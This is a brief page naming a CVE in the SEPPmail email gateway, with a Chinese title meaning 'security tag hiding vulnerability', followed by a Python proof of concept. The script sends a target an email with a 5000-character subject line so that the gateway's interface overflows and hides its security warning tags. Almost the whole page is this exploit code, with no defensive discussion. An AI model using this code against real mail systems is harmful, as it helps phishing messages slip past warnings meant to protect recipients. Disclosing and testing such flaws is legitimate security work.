CVE-2026-29137 SEPPmail邮件网关安全标签隐藏漏洞

# PoC Code: Send email with a long subject to hide security tags import smtplib from email.mime.text import MIMEText def send_poc_email(target_email, smtp_server, smtp_port): # Craft a long subject line to trigger the UI overflow/hiding bug long_subject = "A" * 5000 # Adjust length based on testing msg = MIMEText("This email attempts to hide security tags via a long subject.") msg['Subject'] = long_subject msg['From'] = '[email protected]' msg['To'] = target_email try: with smtplib.SMTP(smtp_server, smtp_port) as server: server.send_message(msg) print(f"[+] PoC email sent to {target_email}") except Exception as e: print(f"[-] Failed to send email: {e}") # Example usage parameters # send_poc_email("[email protected]", "smtp.example.com", 25)